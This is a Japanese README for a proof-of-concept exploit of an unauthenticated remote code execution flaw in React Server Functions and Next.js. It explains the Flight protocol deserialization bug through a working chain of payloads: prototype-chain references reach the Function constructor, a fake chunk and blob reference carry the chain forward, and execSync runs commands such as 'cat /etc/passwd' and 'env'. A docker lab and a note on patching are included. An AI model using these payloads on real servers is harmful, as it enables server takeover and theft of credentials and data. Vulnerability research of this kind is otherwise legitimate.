
React Server Functions(Next.js等)におけるリモートコード実行(RCE)脆弱性の実証コードです。 プロトタイプ汚染を悪用し、認証なしでサーバー上で任意のコードを実行できます。
注意: このリポジトリは教育・研究目的です。悪用は厳禁です。
React Flight Protocolのデシリアライゼーション処理において、プロトタイプチェーンの検証が不十分。
これにより__proto__経由でFunctionコンストラクタにアクセスし、任意のJavaScriptコードを実行可能。
最も簡単な検証方法です。
# 1. 脆弱なNext.jsサーバーを起動
docker compose up -d --build
# 1. エクスプロイトを実行(デフォルト: idコマンド)
docker compose run --rm poc
# 4. カスタムコマンドを実行
docker compose run --rm -e COMMAND="whoami" poc
docker compose run --rm -e COMMAND="cat /etc/passwd" poc
docker compose run --rm -e COMMAND="env" poc
# 5. サーバーを停止
docker-compose down
Next.jsなどで提供されるサーバーサイドAPI機能です。
// Server Action(サーバー側でのみ実行される関数)
async function submitForm(formData) {
'use server' // ← サーバー関数の宣言
// データベース操作など、サーバー側の処理
const result = await db.insert(formData)
return result
}
クライアントから呼び出すと:
クライアントは「チャンク」と呼ばれる単位でデータを送信します:
files = {
"0": (None, '["$1"]'), # チャンク0: チャンク1への参照
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'), # チャンク1: チャンク2のfruitNameを参照
"2": (None, '{"fruitName":"cherry"}'), # チャンク2: 実際のデータ
}
サーバー側でデシリアライズされると:
{ object: 'fruit', name: 'cherry' }
チャンク間で相互参照が可能なのがポイントです。
修正コミット以前、チャンク参照を解決する際に、キーが実際にオブジェクトに存在するか検証していませんでした。
これにより、プロトタイプチェーンにアクセスできてしまいます。
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
参照の解決過程:
チャンク1のオブジェクト → __proto__ → constructor → constructor → Function
結果:
[Function: Function] // Functionコンストラクタを取得!
チャンク0をオブジェクトにし、thenプロパティをFunctionコンストラクタに設定:
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
Next.jsのコード(action-handler.ts:888、パッチ前):
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
このawaitが、thenがFunctionコンストラクタのオブジェクトを呼び出そうとしてエラーに:
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
Functionコンストラクタは取得できたが、どうやって任意のコードを実行させるか?
必要なもの:
maple3142氏のアイデア:チャンク0が自分自身を参照する「偽チャンク」を作成。
files = {
"0": (None, '{"then": "$1:__proto__:then"}'), # 自分のthenをChunk.prototype.thenで上書き
"1": (None, '"$@0"'), # $@0 = チャンク0の「生」の表現
}
$@構文は、解決済みの値ではなく「生のチャンク」を返します:
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
結果:チャンク0のthenがChunk.prototype.thenに置き換えられます。
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this); // ← ここに入る
}
// ...
}
偽チャンクにstatus: "resolved_model"を設定すると、initializeModelChunkが呼ばれます:
files = {
"0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
"1": (None, '"$@0"'),
}
initializeModelChunk内部:
function initializeModelChunk(chunk) {
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
// ...
}
ここで2回目の評価が発生します。
React Flight Protocolのblob処理($Bプレフィックス):
case "B":
return (
obj = parseInt(value.slice(2), 16),
response._formData.get(response._prefix + obj) // ← ここを悪用
);
偽チャンクの_responseを操作して、_formData.getをFunctionコンストラクタに、_prefixを実行したいコードに設定:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1, # toString()でエラーにならないように
"value": '{"then": "$B0"}', # blob参照でthenを設定
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor", # Functionコンストラクタ
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
実行の流れ:
response._formData.get(response._prefix + "0")
↓
Function("process.mainModule.require('child_process').execSync('calc');0")
↓
// この関数がawaitされて呼び出される → コード実行!
poc.pyは上記のペイロードを実装し、コマンド実行結果をエラーメッセージから抽出します:
# コマンド出力をエラーのdigestフィールドに埋め込む
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});"
HTTPヘッダーにNext-Action: xを設定するだけで攻撃が成立:
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers)
重要: この攻撃はデシリアライゼーション中に発生するため、アクション検証(getActionModIdOrError)の前に実行されます。
即座にアップデート: ReactとNext.jsを最新版に更新
npm update react react-dom next
バージョン確認:
npm list react next
WAF/セキュリティ対策:
Next-Actionヘッダーの監視# プロジェクトの脆弱性チェック
npm audit
このリポジトリは教育・研究目的のみで提供されています。
脆弱性の発見: maple3142 PoC実装: このリポジトリの作成者